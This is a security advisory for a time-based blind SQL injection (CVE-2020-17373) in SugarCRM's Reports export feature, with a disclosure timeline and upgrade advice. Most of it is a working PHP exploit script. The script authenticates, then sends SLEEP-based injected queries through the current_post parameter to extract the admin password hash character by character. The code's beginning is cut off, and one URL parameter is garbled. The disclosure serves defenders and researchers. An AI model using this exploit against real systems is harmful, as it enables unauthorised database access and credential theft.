SugarCRM < 10.1.0 (Reports Export) SQL Injection Vulnerability *• Software Link:* https://www.sugarcrm.com *• Affected Versions:* All versions prior to 10.1.0 (Q3 2020). *• Vulnerability Description:* User input passed through the encoded “current_post” parameter to ‘index.php’ (when “entryPoint” is set to “export” and “module” is set to “Reports”) is not properly sanitized before being used to construct a SQL query. This can be exploited by remote attackers to e.g. read sensitive data from the database through e.g. time-based SQL Injection attacks. *• Proof of Concept:* http://karmainsecurity.com/pocs/CVE-2020-17373 -- start poc -- \n"; print "\nExample....: php $argv[0] http://localhost/sugarcrm/ sarah sarah"; print "\nExample....: php $argv[0] https://test.trial.sugarcrm.eu/ jim jim\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; print "[-] Logging in with username '{$user}' and password '{$pass}'\n"; $ch = curl_init(); $params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"]; curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params)); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 3); if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[-] Login failed!\n"); print "[-] Retrieving PHPSESSID cookie...\n"; curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/bwc/login"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_HTTPHEADER, ["OAuth-Token: {$token}"]); curl_setopt($ch, CURLOPT_HEADER, true); if (!preg_match("/PHPSESSID=([^;]+);/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n"); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: PHPSESSID={$sid[1]}", "Referer: {$url}"]); print "[-] Starting time-based Blind SQL Injection attack...\n"; $chars = [0x2e, 0x2f]; // slash and dot $chars = array_merge($chars, range(48, 57)); // 0-9 $chars = array_merge($chars, range(65, 90)); // A-Z $chars = array_merge($chars, range(97, 122)); // a-z $index = 8; $hash = "$2y$10$"; $sql = "(SELECT IF(ORD(SUBSTR(user_hash,%d,1))=%d,SLEEP(3),0) FROM users LIMIT 1"; while ($index <= 60) { for ($i = 0, $n = count($chars); $i <= $n; $i++) { if ($i == $n) die("\n[-] Exploit failed :(\n"); print "\r[-] The admin's password hash is: {$hash}".chr($chars[$i]); $s = sprintf($sql, $index, $chars[$i]); $s = base64_encode(serialize(["team_id" => "1) AND {$s}"])); curl_setopt($ch, CURLOPT_URL, "{$url}index.php?entryPoint=export&module=Reports¤t_post={$s}"); $start = get_time(); curl_exec($ch); if ((get_time() - $start) >= 3) { $hash .= chr($chars[$i]); break; } } $index++; } print "\n[-] Done!\n"; -- end poc -- *• Solution:* Upgrade to version 10.1.0 (Q3 2020) or later. *• Disclosure Timeline:* [05/02/2020] – Vendor notified [06/02/2020] – Automatic vendor response received [26/03/2020] – Vendor contacted again; no response [17/04/2020] – Vendor contacted again; no response [18/06/2020] – Vendor notified about a 180-day disclosure deadline [03/08/2020] – After around 180 days the vendor silently fix the issue [06/08/2020] – CVE number assigned [10/08/2020] – Public disclosure *• CVE Reference:* The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2020-17373 to this vulnerability. *• Credits:* Vulnerability discovered by Egidio Romano.